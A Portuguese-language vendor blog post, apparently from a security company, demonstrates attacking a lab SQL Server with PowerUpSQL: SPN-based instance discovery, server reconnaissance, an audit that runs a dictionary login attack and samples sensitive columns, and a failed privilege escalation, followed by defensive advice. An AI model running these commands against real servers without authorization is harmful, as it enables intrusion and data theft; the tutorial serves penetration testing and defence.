Comprometendo o SQL Server com PowerUpSQL
Se você está procurando um kit de ferramentas para dominar o Microsoft SQL Server de ponta a ponta, o que você precisa é PowerUpSQL. Implementado em PowerShell e tão completo quanto possível, PowerUpSQL possui ferramentas para descobrir, comprometer e dominar praticamente qualquer sistema SQL. É toda a cadeia de ataque em uma única ferramenta. Este artigo detalha como realizar os passos críticos do ataque usando PowerUpSQL.
Conteúdo relacionado selecionado:
Observe que tivemos resultados muito variados com o sistema que estávamos usando, uma versão muito básica do MS SQL 2012. Certamente destacaremos onde nossos resultados variaram com e sem direitos de administrador do sistema. Se precisar de dicas sobre como obter direitos de administrador em nível de sistema, consulte nosso catálogo de técnicas para atacar a infraestrutura central do AD e nossas publicações sobre ataque a contas de serviço do AD, ataques que exploram permissões mal configuradas e nossa série sobre ataques com Mimikatz.
Descoberta
To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
Descrição:
Também existe o Get-SQLInstanceLocal, que realizará o mesmo tipo de descoberta, mas apenas na instância local. A versão de domínio é mais barulhenta, mas se você tem apenas um local de onde atacar na rede, ela fará o que você precisa. Se você possui muito mais da rede e quer emitir menos sinais, executar a versão local em cada sistema funcionará. Neste caso, conseguimos obter resultados semelhantes quando éramos um usuário normal ou um Administrador de Domínio.
Seleção de Alvo
Uma vez que você tenha alguns sistemas MS SQL que deseja atacar — ou se você tem muitos e está tentando descobrir quais são os melhores alvos — você pode querer descobrir mais sobre cada um deles. Get?SQLServerInfo lhe dará um instantâneo de informações úteis sobre o seu alvo em potencial. Observe que parece que precisamos de direitos de administrador para obter bons resultados.
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : Yes
ActiveSessions : 1
Este exemplo destaca uma das melhores funcionalidades do PowerUpSQL: suporte para piping. Como você pode ver, encaminhamos os resultados de Get-SQLInstanceLocal para Get-SQLServerInfo, assim com um único comando, podemos obter resultados para todas as instâncias SQL na máquina. De forma mais ampla, você pode usar esse recurso para criar facilmente scripts de cracking que realizam operações complicadas rapidamente.
Encontrando Exploits e Dados Sensíveis
Usando o que aprendemos com Get-SQLServerInfo, poderíamos ir às bibliotecas padrão de ameaças e vulnerabilidades e pegar algo para explorar este sistema. Mas não há necessidade — PowerUpSQL tem outro truque poderoso na manga. O Invoke-SQLAudit cmdlet fará literalmente todo o trabalho de quebra para você. Ele verifica praticamente todas as maneiras padrão de invadir um banco de dados, encontrar informações sensíveis e exfiltrá-las em um formato que você possa levar consigo.
Quando você o invocar, primeiro verá um derramamento de resultados assim:
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
Mas isso é apenas o Invoke-SQLAudit começando. Depois de realizar todas as verificações de nível de permissão, ele verifica vulnerabilidades específicas e conhecidas uma a uma e relata o que encontra para cada uma:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database master was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database tempdb was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Ler os resultados deste cmdlet, independentemente de quão vulnerável seu alvo possa ter sido, é como uma aula avançada em explorações do SQL Server. Além disso, os autores deixaram o kit de ferramentas aberto para extensão conforme novas vulnerabilidades e explorações são descobertas. Então, devemos esperar que esta lista só aumente com o tempo.
E isso não é tudo. Uma vez que termina com as vulnerabilidades, tenta encontrar dados que você pode querer roubar:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Estes resultados (ligeiramente redigidos por razões óbvias) foram apenas dois das muitas dezenas encontrados no nosso alvo. Os autores estão até a utilizar os próprios produtos enquanto fazem isso. Estes resultados foram encontrados usando o cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, conforme indicado nos resultados.
Escalada de Privilégios
Uma das decepções ao brincar com PowerUpSQL foi que o muito poderoso Invoke-SQLEscalatePriv nunca funcionou para nós. Tentamos diferentes usuários, hosts, tipos de execução (local e remota) e tipos de direitos, mas nunca conseguia escalar o usuário. O motivo parece ser os padrões no MS SQL 2012 Enterprise Edition. Aqui está o que vimos ao executar como um usuário não-administrador:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:PowerUpSQL-master>
Lendo online, este cmdlet parece funcionar para muitos outros.
Outras Funcionalidades
É fácil imaginar o uso desta ferramenta para ter uma ideia do que atacar e depois focar. Construiríamos um script, aproveitando ao máximo o encadeamento para encontrar onde temos direitos máximos e, em seguida, avançar sobre os dados sensíveis em cada um desses locais.
Estamos sempre pensando em termos de exfiltração, mas talvez o seu objetivo seja a posse do sistema? O PowerUpSQL oferece caminhos para isso também, mas vamos ver como fazer isso no próximo post. De fato, há tanto no PowerUpSQL que poderíamos continuar por muito mais tempo. No entanto, os autores já fizeram um bom trabalho cobrindo a ferramenta deles então vamos parar por aqui.
Defendendo contra PowerUpSQL
Agora vamos ver o que você pode fazer para se defender contra PowerUpSQL. A má notícia para nossa diversão foi uma boa notícia para nossos dados: Muitas das coisas no PowerUpSQL pareciam precisar de direitos de administração, que são tratados pela postura de segurança padrão do SQL 2012 Enterprise Edition. No entanto, os direitos de administração são tão fáceis de violar na maioria das empresas atualmente que isso parece ser uma pequena barreira para o sucesso.
Ainda assim, existem algumas etapas comprovadas que você pode seguir para ajudar a proteger sua organização:
- Aplique um modelo de menor privilégio para o SQL Server. Os administradores locais e de domínio realmente precisam ser administradores de banco de dados SQL e sysadmins também? Desenvolva uma política clara e escrita que detalhe por que e quando isso é necessário. Manter essas funções administrativas distintas evitará que um comprometimento leve ao comprometimento do outro.
- Investigue o impacto na segurança de quaisquer alterações nas configurações do sistema SQL. Fornecedores de aplicativos frequentemente exigem mudanças nas configurações de segurança apenas para poupar alguns passos — e esses passos podem fazer a diferença entre segurança e comprometimento. Uma maneira de descobrir é executar um PowerUpSQL audit antes e depois de fazer tais mudanças em seus sistemas de teste e comparar os resultados.
- Garanta que todas as senhas e dados sensíveis estejam mascarados, criptografados ou hashados. Se os mal-intencionados estão atrás de dados, essa é a melhor maneira de impedi-los de obtê-los. Os sistemas sempre poderão ser violados, mas uma criptografia decente é um muro de tijolos para todos, exceto para o inimigo mais sofisticado. Se esse tipo de adversário está atrás dos seus dados, então você tem preocupações de ordem superior.
- Sempre que possível, evite configurações arriscadas como o encadeamento de propriedade de banco de dados. Assim como com mudanças nas configurações, recursos no nível do banco de dados como este são frequentemente usados apenas para economizar tempo dos desenvolvedores. Certifique-se de que haja pelo menos uma consideração dos riscos quando essas configurações estiverem sendo consideradas. Muitas vezes, a parte mais desafiadora é descobrir onde e quando essas conversas estão acontecendo e influenciá-las.
- Certifique-se de que seus sistemas estejam atualizados seguindo um cronograma que os mantenha o mais atualizados possível. Este pode ser o conselho mais repetido em segurança, mas é verdadeiro. Muitas das vulnerabilidades testadas aqui teriam sido resolvidas com a aplicação adequada de patches. Os patches não resolvem todos os seus problemas de segurança, mas eles previnem aquela grande aflição no estômago quando as coisas vão mal e você sabe que pode ter sido (ou definitivamente foi) devido a um patch faltante.
Como a Netwrix pode ajudar
Bancos de dados frequentemente contêm informações extremamente sensíveis, o que os torna um alvo principal para atacantes. Para uma segurança robusta, os administradores de banco de dados precisam de visibilidade sobre toda a sua pegada SQL, tanto em datacenters locais quanto na nuvem. Netwrix StealthAUDIT revela automaticamente onde os bancos de dados SQL existem, quem tem acesso a eles, como esse acesso foi obtido, quem ou o que está aproveitando seus privilégios de acesso, onde residem as informações sensíveis e como cada banco de dados foi configurado.
Compartilhar em
Ver ataques de cibersegurança relacionados
Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa
Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa
Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa
Ataque Hafnium - Como Funciona e Estratégias de Defesa
Ataques DCSync Explicados: Ameaça à Segurança do Active Directory
Ataque Pass the Hash
Entendendo ataques Golden Ticket
Ataque a Contas de Serviço Gerenciadas por Grupo
Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa
Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção
Ataque de Extração de Senha NTDS.dit
Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa
Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa
Ataque de Password Spraying
Ataque de Extração de Senha em Texto Simples
Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação
Ataques de ransomware ao Active Directory
Desbloqueando o Active Directory com o Ataque Skeleton Key
Movimento Lateral: O que é, Como Funciona e Prevenções
Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los
Ataque Silver Ticket
4 ataques a contas de serviço e como se proteger contra eles
Por que o PowerShell é tão popular entre os atacantes?
Como Prevenir que Ataques de Malware Afetem o Seu Negócio
O que é Credential Stuffing?
O que são ataques de Mousejacking e como se defender contra eles
Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)
Bypassando MFA com o ataque Pass-the-Cookie
Ataque Golden SAML